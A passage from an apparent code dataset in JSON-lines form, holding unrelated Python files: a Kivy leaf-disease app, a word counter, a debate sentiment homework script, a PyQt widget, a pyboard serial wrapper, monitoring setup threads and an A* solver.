text: \"Camera\"\r\n pos_hint:{\"center_x\":0.5,\"center_y\":0.5}\r\n on_release: root.manager.current = \"camera_screen\"\r\n MDFloatingActionButton:\r\n text: \"back\"\r\n icon: \"arrow-collapse-left\"\r\n pos_hint:{\"center_x\":0.9,\"center_y\":0.1}\r\n on_release: root.manager.current = \"Menu\"\r\n MDNavigationLayout:\r\n:\r\n name:\"Rice\"\r\n MDRaisedButton:\r\n text: \"Upload\"\r\n pos_hint:{\"center_x\":0.5,\"center_y\":0.75}\r\n on_release: root.manager.current = \"model_screen\"\r\n MDRaisedButton:\r\n text: \"Camera\"\r\n pos_hint:{\"center_x\":0.5,\"center_y\":0.5}\r\n on_release: root.manager.current = \"camera_screen\"\r\n MDFloatingActionButton:\r\n text: \"back\"\r\n icon: \"arrow-collapse-left\"\r\n pos_hint:{\"center_x\":0.9,\"center_y\":0.1}\r\n on_release: root.manager.current = \"Menu\"\r\n MDNavigationLayout:\r\n:\r\n name: \"Wheet\"\r\n MDRaisedButton:\r\n text: \"Upload\"\r\n pos_hint:{\"center_x\":0.5,\"center_y\":0.75}\r\n on_release: root.manager.current = \"model_screen\"\r\n MDRaisedButton:\r\n text: \"Camera\"\r\n pos_hint:{\"center_x\":0.5,\"center_y\":0.5}\r\n on_release: root.manager.current = \"camera_screen\"\r\n MDFloatingActionButton:\r\n text: \"back\"\r\n icon: \"arrow-collapse-left\"\r\n pos_hint:{\"center_x\":0.9,\"center_y\":0.1}\r\n on_release: root.manager.current = \"Menu\"\r\n MDNavigationLayout:\r\n:\r\n name: \"camera_screen\"\r\n CameraLayout:\r\n MDNavigationLayout:\r\n MDFloatingActionButton:\r\n text: \"back\"\r\n icon: \"arrow-collapse-left\"\r\n pos_hint:{\"center_x\":0.9,\"center_y\":0.1}\r\n on_release: root.manager.current = \"Menu\"\r\n:\r\n orientation: 'vertical'\r\n Camera:\r\n id: camera\r\n resolution: (224, 224)\r\n play: False\r\n MDFloatingActionButton:\r\n text: 'Play'\r\n icon: \"play\"\r\n pos_hint:{\"center_x\":0.5,\"center_y\":0.75} \r\n on_press: camera.play = not camera.play\r\n MDFloatingActionButton:\r\n text: 'Capture'\r\n icon: \"camera\"\r\n pos_hint:{\"center_x\":0.5,\"center_y\":0.5} \r\n on_press: root.capture()\r\n MDFloatingActionButton:\r\n text: 'Predict'\r\n icon: \"camera\"\r\n pos_hint:{\"center_x\":0.5,\"center_y\":0.25} \r\n on_press: root.predicting_captured_image()\r\n\r\n:\r\n name : \"model_screen\"\r\n ModelLayout:\r\n MDNavigationLayout:\r\n MDFloatingActionButton:\r\n text: \"back\"\r\n icon: \"arrow-collapse-left\"\r\n pos_hint:{\"center_x\":0.9,\"center_y\":0.1}\r\n on_release: root.manager.current = \"Menu\"\r\n:\r\n id:model_layout\r\n MDBoxLayout:\r\n orientation: \"vertical\"\r\n size: root.width,root.height\r\n\r\n padding:25\r\n spacing:25\r\n\r\n Image:\r\n id: my_image\r\n source: \"\"\r\n\r\n FileChooserIconView\r\n id:filechooser\r\n on_selection: model_layout.selected(filechooser.selection)\r\n\r\n\r\n MDRaisedButton:\r\n text: \"submit\"\r\n pos_hint:{\"center_x\":0.5,\"center_y\":0} \r\n on_press: root.predicting_uploaded_image()\r\n\r\n\r\n\"\"\"\r\nWindow.size = (400, 600)\r\n\r\n\r\nclass MenuScreen(Screen):\r\n pass\r\n\r\n\r\nclass MDNavigationLayout(Screen):\r\n pass\r\n\r\n\r\nclass ContentNavigationDrawer(MDBoxLayout):\r\n pass\r\n\r\n\r\nclass DrawerList(ThemableBehavior, MDList):\r\n pass\r\n\r\n\r\nclass TomatoScreen(Screen):\r\n pass\r\n\r\n\r\nclass CottonScreen(Screen):\r\n pass\r\n\r\n\r\nclass RiceScreen(Screen):\r\n pass\r\n\r\n\r\nclass WheetScreen(Screen):\r\n pass\r\n\r\n\r\nclass ModelScreen(Screen):\r\n pass\r\n\r\n\r\nclass ModelLayout(MDBoxLayout):\r\n def selected(self, filename):\r\n try:\r\n self.filename = filename\r\n self.ids.my_image.source = self.filename[0]\r\n self.path = self.ids.my_image.source = self.filename[0]\r\n string = filename[0]\r\n print(string)\r\n src_dir = string\r\n dst_dir = \"C:\\\\Users\\\\P V S Karthik\\\\PycharmProjects\\\\Agriculture_AI_App\\\\Uploaded images\\\\\"\r\n for file in glob.iglob(src_dir):\r\n shutil.copy(file, dst_dir)\r\n print(\"Copied to Uploaded images folder\")\r\n except:\r\n pass\r\n\r\n def predict_leaf(self, path, model):\r\n for img in os.listdir(path):\r\n img_path = os.path.join(path, img)\r\n print(img_path)\r\n print()\r\n print(img_path)\r\n img_path = load_img(img_path, target_size=(224, 224))\r\n image = img_path\r\n img_array = np.expand_dims(image, axis=0)\r\n image = preprocess_input(img_array)\r\n prediction = np.round(model.predict(image))\r\n return prediction\r\n\r\n def predicting_uploaded_image(self):\r\n model_path = \"Tomato_leaf_disease_ditection_01.model\"\r\n model = keras.models.load_model(model_path)\r\n path = \"C:\\\\Users\\\\P V S Karthik\\\\PycharmProjects\\\\Agriculture_AI_App\\\\Uploaded images\\\\\"\r\n predictions = self.predict_leaf(path, model)\r\n print(predictions)\r\n back_button = MDFlatButton(text=\"Back\", pos_hint={\"center_x\": 0.5, \"center_y\": 0.25},\r\n on_press=self.close_dialog)\r\n if predictions[0,1] == 1:\r\n self.dialog = MDDialog(title='Your Prediction',\r\n text=\"Detected disease is {}\".format(\"Tomato___Bacterial_spot\"), size_hint=(0.9, 1),\r\n buttons=[back_button])\r\n self.dialog.open()\r\n elif predictions[0, 0] == 0:\r\n self.dialog = MDDialog(title='Your Prediction', text=\"Please enter the correct image\",\r\n size_hint=(0.9, 1), buttons=[back_button])\r\n self.dialog.open()\r\n\r\n def close_dialog(self, obj):\r\n self.dialog.dismiss()\r\n\r\n\r\nclass CameraScreen(Screen):\r\n pass\r\n\r\n\r\nclass CameraLayout(MDBoxLayout):\r\n def capture(self):\r\n camera = self.ids['camera']\r\n timestr = time.strftime(\"%Y%m%d_%H%M%S\")\r\n path = \"C:\\\\Users\\\\P V S Karthik\\\\PycharmProjects\\\\Agriculture_AI_App\\\\Captured_images\\\\\"\r\n camera.export_to_png(path + \"IMG_{}.png\".format(timestr))\r\n print(\"Captured\")\r\n\r\n def predict_leaf(self, path, model):\r\n for img in os.listdir(path):\r\n img_path = os.path.join(path, img)\r\n image = load_img(img_path, target_size=(224, 224))\r\n # image = img_path\r\n img_array = np.expand_dims(image, axis=0)\r\n image = preprocess_input(img_array)\r\n prediction = np.round(model.predict(image))\r\n return prediction\r\n\r\n def predicting_captured_image(self):\r\n model_path = \"Tomato_leaf_disease_ditection_01.model\"\r\n model = keras.models.load_model(model_path)\r\n path = \"C:\\\\Users\\\\P V S Karthik\\\\PycharmProjects\\\\Agriculture_AI_App\\\\Captured_images\\\\\"\r\n predictions = self.predict_leaf(path, model)\r\n back_button = MDFlatButton(text=\"Back\", pos_hint={\"center_x\": 0.5, \"center_y\": 0.25},\r\n on_press=self.close_dialog)\r\n if predictions[:0] == 1.0:\r\n self.dialog = MDDialog(title='Your Prediction',\r\n text=\"Detected disease is {}\".format(\"Tomato___Bacterial_spot\"), size_hint=(0.9, 1),\r\n buttons=[back_button])\r\n self.dialog.open()\r\n else:\r\n self.dialog = MDDialog(title='Your Prediction', text=\"Please enter the correct image\",\r\n size_hint=(0.9, 1), buttons=[back_button])\r\n self.dialog.open()\r\n\r\n def close_dialog(self, obj):\r\n self.dialog.dismiss()\r\n\r\n\r\nsm = ScreenManager()\r\nsm.add_widget(MenuScreen(name=\"Menu\"))\r\nsm.add_widget(TomatoScreen(name=\"Tomato\"))\r\nsm.add_widget(CottonScreen(name=\"Cotton\"))\r\nsm.add_widget(RiceScreen(name=\"Rice\"))\r\nsm.add_widget(WheetScreen(name=\"Wheet\"))\r\nsm.add_widget(ModelScreen(name=\"model_screen\"))\r\nsm.add_widget(CameraScreen(name=\"camera_screen\"))\r\nsm.add_widget(MDNavigationLayout(name=\"navigation_layout\"))\r\n\r\n\r\nclass Trial_01(MDApp):\r\n def build(self):\r\n self.theme_cls.theme_style = \"Dark\"\r\n self.theme_cls.primary_palette = \"Green\"\r\n screen = Builder.load_string(screen_helper)\r\n return screen\r\n\r\n\r\nTrial_01().run()\r\n","sub_path":"Final Demo Application.py","file_name":"Final Demo Application.py","file_ext":"py","file_size_in_byte":13048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"24092856","text":"from collections import Counter, OrderedDict\nimport operator\n\n\ndef read_file(filename):\n \"\"\"Returns the contents of a text file as a single string, with newlines\n converted to spaces.\n \"\"\"\n\n with open(filename, \"r\", encoding=\"utf-8\") as input_file:\n # Read the entire file, replacing newlines with spaces\n text = input_file.read().replace('\\n', ' ')\n return text\n\ndef word_count(text, characters_to_ignore=\",.?\", case_sensitive=False):\n \"\"\"Returns an ordered dictionary containing the sorted count of words in\n a string, with the word as dictionary key.\n \"\"\"\n\n # replace all ignored characters with spaces.\n # This assumes that punctuation delimits words.\n # Mid-word punctuation will not give the correct results.\n for c in characters_to_ignore:\n text = text.replace(c, \" \")\n\n # Convert to lower-case if required\n if not case_sensitive:\n text = text.lower()\n\n # Calculate word frequencies with Counter\n word_frequencies = Counter(text.split())\n\n # Sort into descending order and store in an order-preserving OrderedDict\n return OrderedDict(\n sorted(word_frequencies.items(),\n key=operator.itemgetter(1),\n reverse=True))\n\ndef print_counts(counts, min_count=2):\n \"\"\"Prints the word counts. Only words with a count greater than or equal to\n `min_count` are displayed.\n \"\"\"\n for word, count in counts.items():\n if count >= min_count:\n print(\"{0}: {1}\".format(word, count))\n","sub_path":"files/command_lines/wordcount.py","file_name":"wordcount.py","file_ext":"py","file_size_in_byte":1527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"19999660","text":"from bs4 import BeautifulSoup\nimport urllib2 \nimport re\nimport csv\nfrom stop_words import get_stop_words\nfrom nltk import word_tokenize\nfrom nltk.stem.lancaster import LancasterStemmer \nfrom nltk.stem import PorterStemmer \nfrom nltk.stem.snowball import EnglishStemmer\nst = LancasterStemmer()\npt = PorterStemmer()\nsb = EnglishStemmer()\n\n\n###############\n## Problem 1 ##\n###############\n\n## Reading in html \nweb_page = urllib2.urlopen(\"file:///Users/erinrossiter/Dropbox/Github/WUSTL/Debate1.html\")\nsoup = BeautifulSoup(web_page.read())\n\n## \"p\" tags hold statements\nstatements = soup.find_all(\"p\")\n\n## looping over \"p\" tages\nparticipants = [\"LEHRER:\", \"OBAMA:\", \"ROMNEY:\"]\ndebate = [\"\"] ## starting with something as first element, delete later\nfor turn in statements:\n\t## work with text of each p tag\n\ttext = turn.get_text().encode(\"UTF-8\")\n\n\t## if all upper case, then skip turn bc it is annotation or audience\n\tif text.isupper():\n\t\tcontinue\n\n\t## Three conditions:\n\t## 1) add new element to debate list if speaker name is first word in \"p\"\n\t## tag and name is not in previous debate turn\n\t## 2) add text to previous debate turn and remove speaker name if speaker was in\n\t## previous debate turn\n\t## 3) add text to previous debate turn if no speaker was provided\n\tfor p in participants:\n\t\tif p in text.split(\" \")[0]:\n\t\t\tif p not in debate[-1]:\n\t\t\t\tdebate.append(text)\n\t\t\telse:\n\t\t\t\tdebate[-1] += text.replace(p, \" \")\n\t\t\tbreak\n\telse:\n\t\tdebate[-1] += text\n\ndel debate[0]\n\n###############\n## Problem 2 ##\n###############\n\n## Loading positive and negative words\npos = urllib2.urlopen(\"http://www.unc.edu/~ncaren/haphazard/positive.txt\").read()\npos = pos.split(\"\\n\")\n\nneg = urllib2.urlopen(\"http://www.unc.edu/~ncaren/haphazard/negative.txt\").read()\nneg = neg.split(\"\\n\")\n\n## Using stemmers\nst_pos = [st.stem(i) for i in pos]\npt_pos = [pt.stem(i) for i in pos]\nsb_pos = [sb.stem(i) for i in pos]\n\nst_neg = [st.stem(i) for i in neg]\npt_neg = [pt.stem(i) for i in neg]\nsb_neg = [sb.stem(i) for i in neg]\n\n## loading stopwords (provided link didn't work)\n## making list into same format as my other text so I can process it, too\nstopwords = \" \".join(get_stop_words('en'))\n\n## helper function to count words in turn from provided list\n## after applying the appropriate stemmer to the turn\ndef count_words(turn, words, stemmer = \"none\"):\n\tif stemmer == \"st\": turn = [st.stem(i) for i in turn]\n\telif stemmer == \"pt\": turn = [pt.stem(i) for i in turn]\n\telif stemmer == \"sb\": turn = [sb.stem(i) for i in turn]\n\telif stemmer == \"none\": pass\n\telse: raise Exception\n\treturn len([x for x in turn if x in words])\n\n## processing and writing data from each turn to csv\nwith open(\"debate_data.csv\", 'ab') as f:\n\t## setting up csv\n\tw = csv.DictWriter(f, fieldnames = (\"id\", \"speaker\", \\\n\t\t\"nonstopwords\", \"pos\", \"neg\", \"st_pos\", \"st_neg\", \\\n\t\t\"pt_pos\", \"pt_neg\", \"sb_pos\", \"sb_neg\"))\n\tw.writeheader()\n\n\t## processing stop words, as well\n\tstopwords = re.sub(r\"\\W\", \" \", stopwords) ## remove punctuation\n\tstopwords = stopwords.lower() ## lower case\n\tstopwords = word_tokenize(stopwords) ## tokenize\n\n\tfor index, turn in enumerate(debate):\n\t\tturn = re.sub(r\"\\W\", \" \", turn) ## remove punctuation\n\t\tturn = turn.lower() ## lower case\n\t\tturn = word_tokenize(turn) ## tokenize\n\t\tturn = [i for i in turn if i not in stopwords] ## remove stopwords\n\n\t\t## call helper functions to get data entry\n\t\trow = ({\"id\" : index,\n\t\t\t\"speaker\" : turn[0],\n\t\t\t\"nonstopwords\" : len(turn)-1, ## minus the speaker\n\t\t\t\"pos\" : count_words(turn, pos, \"none\"),\n\t\t\t\"neg\" : count_words(turn, neg, \"none\"),\n\t\t\t\"st_pos\" : count_words(turn, st_pos, \"st\"),\n\t\t\t\"st_neg\" : count_words(turn, st_neg, \"st\"),\n\t\t\t\"pt_pos\" : count_words(turn, pt_pos, \"pt\"),\n\t\t\t\"pt_neg\" : count_words(turn, pt_neg, \"pt\"),\n\t\t\t\"sb_pos\" : count_words(turn, sb_pos, \"sb\"),\n\t\t\t\"sb_neg\" : count_words(turn, sb_neg, \"sb\")\n\t\t\t}) \n\t\tw.writerow(row)\n\n\n\n\n\n\n\n\n\n\n","sub_path":"HW/HW1/hw1.py","file_name":"hw1.py","file_ext":"py","file_size_in_byte":3866,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"106230548","text":"#!/usr/local/bin/env python3.5\n# -*- coding: utf-8 -*-\n\nimport textwrap\n\nfrom functools import partial\n\nfrom PyQt5.QtCore import Qt\nfrom PyQt5.QtGui import QIcon\nfrom PyQt5.QtWidgets import (\n QWidget, QTabWidget, QFormLayout, QHBoxLayout, QVBoxLayout,\n QColorDialog, QFileDialog, QInputDialog, QLabel, QPushButton\n)\n\nfrom TextFormat import TextFormat\n\n# deal with buttons: https://stackoverflow.com/questions/17425367/pyqt4-create-many-buttons-from-dict-dynamically\n\nclass TabWidget(QTabWidget):\n def __init__(self, parent=None):\n super().__init__(parent)\n self.parent = parent\n self.buttons = []\n\n self.levelTab = QWidget()\n self.posTab = QWidget()\n self.initLevelTab()\n self.initPosTab()\n self.addTab(self.levelTab, \"LEVEL\")\n self.addTab(self.posTab, \"POS\")\n\n def initLevelTab(self):\n # Adding button\n button = QPushButton()\n button.setIcon(QIcon('files/add.png'))\n button.clicked.connect(partial(self.addNewFormat, 'level'))\n\n # Name and button\n hbox2 = QHBoxLayout()\n hbox2.addWidget(QLabel('Name'))\n hbox2.addWidget(button)\n\n # Titles\n hbox = QHBoxLayout()\n hbox.addLayout(hbox2)\n hbox.addWidget(QLabel('Color'))\n hbox.addWidget(QLabel('List'))\n hbox.addWidget(QLabel('Rule'))\n hbox.addWidget(QLabel('Delete'))\n\n self.levelFormLayout = QFormLayout()\n self.levelFormLayout.addRow(hbox)\n self.levelTab.setLayout(self.levelFormLayout)\n\n def initPosTab(self):\n # Adding button\n button = QPushButton()\n button.setIcon(QIcon('files/add.png'))\n button.clicked.connect(partial(self.addNewFormat, 'pos'))\n\n # Name and button\n hbox2 = QHBoxLayout()\n hbox2.addWidget(QLabel('Name'))\n hbox2.addWidget(button)\n\n # Titles\n hbox = QHBoxLayout()\n hbox.addLayout(hbox2)\n hbox.addWidget(QLabel('Color'))\n hbox.addWidget(QLabel('Rule'))\n hbox.addWidget(QLabel('Delete'))\n\n self.posFormLayout = QFormLayout()\n self.posFormLayout.addRow(hbox)\n self.posTab.setLayout(self.posFormLayout)\n\n def addTextFormat(self, textFormat):\n hbox = QHBoxLayout()\n\n # Name\n self.buttons.append(QPushButton())\n textFormat.editButton = self.buttons[-1]\n textFormat.editButton.setText('Edit')\n textFormat.editButton.clicked.connect(\n partial(self.changeName, textFormat))\n\n textFormat.nameLabel = QLabel(textFormat.name)\n vbox = QVBoxLayout()\n vbox.addWidget(textFormat.nameLabel)\n vbox.addWidget(textFormat.editButton)\n hbox.addLayout(vbox)\n\n # ColorButton\n self.buttons.append(QPushButton())\n textFormat.colorButton = self.buttons[-1]\n textFormat.colorButton.setText('Edit')\n textFormat.colorButton.setStyleSheet(\n 'background-color: ' + textFormat.getColorRgbaCss())\n textFormat.colorButton.clicked.connect(\n partial(self.changeColor, textFormat))\n hbox.addWidget(textFormat.colorButton)\n\n # ListButton\n if textFormat.type == 'level':\n self.buttons.append(QPushButton())\n textFormat.listButton = self.buttons[-1]\n textFormat.listButton.clicked.connect(\n partial(self.openFile, textFormat, type='list'))\n hbox.addWidget(textFormat.listButton)\n\n # RuleButton\n self.buttons.append(QPushButton())\n textFormat.ruleButton = self.buttons[-1]\n textFormat.ruleButton.clicked.connect(\n partial(self.openFile, textFormat, type='rule'))\n hbox.addWidget(textFormat.ruleButton)\n\n # DeleteButton\n self.buttons.append(QPushButton())\n textFormat.removeButton = self.buttons[-1]\n textFormat.removeButton.clicked.connect(\n partial(self.parent.textFormatManager.remove, textFormat))\n textFormat.removeButton.setIcon(QIcon('files/delete.png'))\n hbox.addWidget(textFormat.removeButton)\n\n textFormat.tabHBox = hbox\n if textFormat.type == 'level':\n self.levelFormLayout.addRow(hbox)\n else:\n self.posFormLayout.addRow(hbox)\n\n def addNewFormat(self, type):\n textFormat = TextFormat('(New Format)', type)\n self.parent.textFormatManager.insert(textFormat)\n\n def removeTextFormat(self, textFormat):\n for i in reversed(range(textFormat.tabHBox.count())):\n if i == 0:\n vbox = textFormat.tabHBox.itemAt(i)\n for j in reversed(range(vbox.count())):\n vbox.itemAt(j).widget().setParent(None)\n else:\n textFormat.tabHBox.itemAt(i).widget().setParent(None)\n\n if textFormat.type == 'level':\n self.levelFormLayout.removeItem(textFormat.tabHBox)\n else:\n self.posFormLayout.removeItem(textFormat.tabHBox)\n\n def changeColor(self, textFormat):\n color = QColorDialog.getColor(initial=textFormat.getColor())\n if color.isValid():\n textFormat.setColor(color)\n textFormat.colorButton.setStyleSheet(\n 'background-color: ' + textFormat.getColorRgbaCss())\n\n self.parent.highlightViewpoint()\n\n def changeName(self, textFormat):\n text, _ = QInputDialog.getText(self.parent, 'Name', 'Please enter a name:')\n textFormat.name = text\n textFormat.nameLabel.setText(textFormat.name)\n textFormat.counterNameLabel.setText(textFormat.name)\n self.parent.highlightViewpoint()\n\n def openFile(self, textFormat, type):\n filePath, _ = QFileDialog.getOpenFileName(self)\n if filePath:\n if type == 'list':\n textFormat.setupWordList(filePath)\n listName = filePath.split('/')[-1]\n textFormat.listButton.setText(\n listName[:10] + '..' if len(listName) > 10 else listName)\n\n elif type == 'rule':\n ok = textFormat.setupRegexList(filePath)\n if ok:\n ruleName = filePath.split('/')[-1]\n textFormat.ruleButton.setText(\n ruleName[:10] + '..' if len(ruleName) > 10 else ruleName)\n else:\n textFormat.ruleButton.setText('')\n\n self.parent.highlightViewpoint()\n self.parent.counterWidget.refresh()\n","sub_path":"TabWidget.py","file_name":"TabWidget.py","file_ext":"py","file_size_in_byte":6480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"347504218","text":"#!/usr/bin/env python\n#\n# Copyright 2012 Jonas Berg\n# Copyright 2016 Aixi Wang\n\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\n__author__ = 'Jonas Berg'\n__email__ = 'pyhys@users.sourceforge.net'\n__license__ = 'Apache License, Version 2.0'\n\nimport sys\nimport time\n\ntry:\n import pyb\n#from pyb import UART\nexcept:\n import pyb_emualtor as pyb\n \n\n\nPARITY_NONE = None\nPARITY_ODD = 1\nPARITY_EVEN = 0\n\nDEFAULT_TIMEOUT = 5\nDEFAULT_BAUDRATE = 9600\nVERBOSE = True\nRESPONSES = {}\nRESPONSES['EXAMPLEREQUEST'] = 'EXAMPLERESPONSE'\nDEFAULT_RESPONSE = 'NONE'\nNO_DATA_PRESENT = ''\n\nclass Serial():\n def __init__(self, *args, **kwargs):\n self._waiting_data = NO_DATA_PRESENT\n self._isOpen = True\n self.port = kwargs['port'] # Serial port name.\n self.initial_port_name = self.port # Initial name given to the serial port\n try:\n self.timeout = kwargs['timeout']\n except:\n self.timeout = DEFAULT_TIMEOUT\n try:\n self.baudrate = kwargs['baudrate']\n except:\n self.baudrate = DEFAULT_BAUDRATE\n\n if VERBOSE:\n _print_out('\\nDummy_serial: Initializing')\n _print_out('dummy_serial initialization args: ' + repr(args) )\n _print_out('dummy_serial initialization kwargs: ' + repr(kwargs) + '\\n')\n \n self.ser = pyb.UART(self.port,self.baudrate)\n\n def __repr__(self):\n \"\"\"String representation of the dummy_serial object\"\"\"\n return \"{0}.{1}(port={4!r}, timeout={5!r}, waiting_data={6!r})\".format(\n self.__module__,\n self.__class__.__name__,\n id(self),\n self._isOpen,\n self.port,\n self.timeout,\n self._waiting_data,\n ) \n\n def open(self):\n \"\"\"Open a (previously initialized) port on dummy_serial.\"\"\"\n if VERBOSE:\n _print_out('\\nDummy_serial: Opening port\\n')\n\n if self._isOpen:\n raise IOError('Dummy_serial: The port is already open')\n \n self._isOpen = True\n self.port = self.initial_port_name\n self.ser = pyb.UART(self.port,self.baudrate)\n\n def close(self):\n \"\"\"Close a port on dummy_serial.\"\"\"\n if VERBOSE:\n _print_out('\\nDummy_serial: Closing port\\n')\n\n if not self._isOpen:\n raise IOError('Dummy_serial: The port is already closed')\n \n self._isOpen = False\n self.port = None\n self.ser.close()\n self.ser = None\n\n def write(self, inputdata):\n if VERBOSE:\n _print_out('\\nDummy_serial: Writing to port. Given:' + repr(inputdata) + '\\n')\n \n if sys.version_info[0] > 2:\n if not type(inputdata) == bytes:\n raise TypeError('The input must be type bytes. Given:' + repr(inputdata))\n inputstring = str(inputdata, encoding='latin1')\n else:\n inputstring = inputdata\n\n if not self._isOpen:\n raise IOError('Dummy_serial: Trying to write, but the port is not open. Given:' + repr(inputdata))\n\n # Look up which data that should be waiting for subsequent read commands\n print('write data to serial port:' + str(inputdata))\n self.ser.write(inputdata)\n \n def read(self, numberOfBytes):\n if VERBOSE:\n _print_out('\\nDummy_serial: Reading from port (max length {!r} bytes)'.format(numberOfBytes))\n \n if numberOfBytes < 0:\n raise IOError('Dummy_serial: The numberOfBytes to read must not be negative. Given: {!r}'.format(numberOfBytes))\n \n if not self._isOpen:\n raise IOError('Dummy_serial: Trying to read, but the port is not open.')\n\n returnstring = self.ser.read(numberOfBytes)\n if len(returnstring) == 0:\n return bytes()\n else:\n return bytes(returnstring, encoding='latin1') \n\n\ndef _print_out( inputstring ):\n \"\"\"Print the inputstring. To make it compatible with Python2 and Python3.\"\"\"\n sys.stdout.write(inputstring + '\\n')\n\n","sub_path":"pyboard_serial.py","file_name":"pyboard_serial.py","file_ext":"py","file_size_in_byte":4629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"376690617","text":"import SSHFunctions as sf\nimport RESTFunctions as rf\nimport threading\n\n\n\nclass setupHostsAndServices(threading.Thread):\n def __init__(self,totalDict,serverName,hostName,dictionary,hostDict):\n super(setupHostsAndServices,self).__init__()\n\n self.serverName=serverName\n self.dictionary = dictionary\n self.hostName = hostName\n self.hostDict = hostDict\n self.totalDict = totalDict\n\n def run(self):\n\n thread_list = []\n result = rf.createHost(self.serverName, self.hostName, self.hostDict[self.hostName]['ip'], self.hostDict[self.hostName]['contactgroup'],self.hostDict[self.hostName]['notes']).strip()\n rf.defineHostGroupsMembers(self.serverName,self.hostDict[self.hostName]['hostgroup'],self.hostName)\n pgresult = rf.createPingService(self.serverName, self.hostName).strip()\n seresult = rf.createCheckService(self.serverName, self.hostName, self.hostDict[self.hostName]['cpuwr'], self.hostDict[self.hostName]['cpucr'], self.hostDict[self.hostName]['memwr'] , self.hostDict[self.hostName]['memcr'] , self.hostDict[self.hostName]['tempwr'] , self.hostDict[self.hostName]['tempcr'] )\n\n\n self.totalDict['Hosts'][self.hostName] = {'HostResult': result,\n 'PingResult': pgresult,\n 'ServicesResults': seresult}\n\n\n serviceToDoDict, sysName = sf.getActiveIntefaceList(self.serverName, self.hostDict[self.hostName]['ip'])\n sf.touchRRD(self.serverName, self.hostDict[self.hostName]['ip'], serviceToDoDict)\n for activeInterface in serviceToDoDict.keys():\n thread = InterfaceService(serviceToDoDict,self.dictionary,self.hostDict, self.serverName, self.hostName, activeInterface,self.totalDict)\n thread_list.append(thread)\n thread.start()\n\n for thread in thread_list:\n thread.join()\n\n\nclass InterfaceService(threading.Thread):\n def __init__(self,serviceToDoDict,dictionary,hostDict, serverName, hostName, activeInterface,totalDict):\n super(InterfaceService,self).__init__()\n\n self.serviceToDoDict=serviceToDoDict\n self.activeInterface = activeInterface\n self.dictionary=dictionary\n self.hostName = hostName\n self.hostDict = hostDict\n self.serverName = serverName\n self.totalDict=totalDict\n\n def run(self):\n desc = self.serviceToDoDict[self.activeInterface]['Desc']\n alias = self.serviceToDoDict[self.activeInterface]['Alia']\n for i in range(0, len(self.dictionary)):\n if self.hostDict[self.hostName]['ip'] == self.dictionary[i][\"help\"] and self.activeInterface == self.dictionary[i][\"portNo\"]:\n scaledValues = [\n self.dictionary[i][\"inbww\"], self.dictionary[i][\"outbww\"], self.dictionary[i][\"inbwc\"], self.dictionary[i][\"outbwc\"]\n ]\n scale = self.dictionary[i][\"scale\"]\n\n stresult = rf.createStatusService(self.serverName, self.hostName, desc, alias, self.activeInterface).strip()\n\n bwresult = rf.createBandwidthService(self.serverName, self.hostName, self.hostDict[self.hostName]['ip'], desc, alias,\n self.activeInterface, scaledValues, scale).strip()\n\n self.totalDict['Hosts'][self.hostName]['ServicesResults'][desc + ' ' + alias] = {'StatusResult': stresult,\n 'BandwidthResult': bwresult}","sub_path":"toolbox/threadInitSetup.py","file_name":"threadInitSetup.py","file_ext":"py","file_size_in_byte":3512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"145178559","text":"import operator\nimport bisect\nfrom Parameters import *\n# import pylab\nimport sys\n\nclass AStarSolver:\n @staticmethod\n def solve(initialState):\n solution = AStarSolver.astar(initialState)\n if solution is None:\n return None\n arr = [solution]\n while solution.parent is not None:\n solution = solution.parent\n arr.append(solution)\n reversedArr = arr[::-1]\n return reversedArr\n\n @staticmethod\n def astar(initialState):\n frontier = [initialState]\n initialState.parent = None\n initialState.level = 0\n visited = {initialState}\n totalVisited = 0\n L1 = []\n L2 = []\n L3 = []\n while frontier:\n totalVisited = totalVisited + 1\n L1.append(totalVisited)\n selected = frontier[0]\n if DEBUG:\n print('level: ' + str(selected.level) + ',totalVisited: ' + str(totalVisited) + ',len(frontier): ' + str(len(frontier)))\n sys.stdout.flush()\n L2.append(int(selected.level))\n L3.append(int(len(frontier)))\n del frontier[0]\n if selected.isSolved(): #Make sure that you uncomment the necessary line to see the plot.\n #pylab.plot(L1,L3) #Total Visited vs Frontier !\n #pylab.plot(L1,L2) #Total Visited vs Selected Level !\n #pylab.xlabel('Total Visited')\n #pylab.ylabel('Selected Level')\n #pylab.ylabel('Frontier')\n #pylab.show()\n print('success')\n print('Level: ' + str(selected.level))\n print('Total visited: ' + str(totalVisited))\n return selected\n branches = selected.getBranchPuzzleStates()\n for b in branches:\n if b not in visited:\n visited.add(b)\n b.parent = selected\n b.level = selected.level + 1\n bisect.insort(frontier, b)\n print('no solution. :(')\n print('Total visited: ' + str(totalVisited))\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"AStarSolver.py","file_name":"AStarSolver.py","file_ext":"py","file_size_in_byte":2139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"485472634","text":"import sys\n\ndef intersect(nums1, nums2):\n result = list()\n\n if len(nums1) <= len(nums2):\n for x in nums2:\n if x in nums1:\n result.append(x)\n nums1.remove(x)\n else:\n for x in nums1:\n if x in nums2:\n result.append(x)\n nums2.remove(x)\n print(result)\n return result\n\nif __name__ == '__main__':\n \n nums1 = [9,4,9,8,4]\n nums2 = [4,9,5]\n intersect(nums1, nums2)","sub_path":"初级算法/array/6.py","file_name":"6.py","file_ext":"py","file_size_in_byte":477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"399737641","text":"import pytest\n\nfrom shorty.db.operations import create_link\n\ncounter = 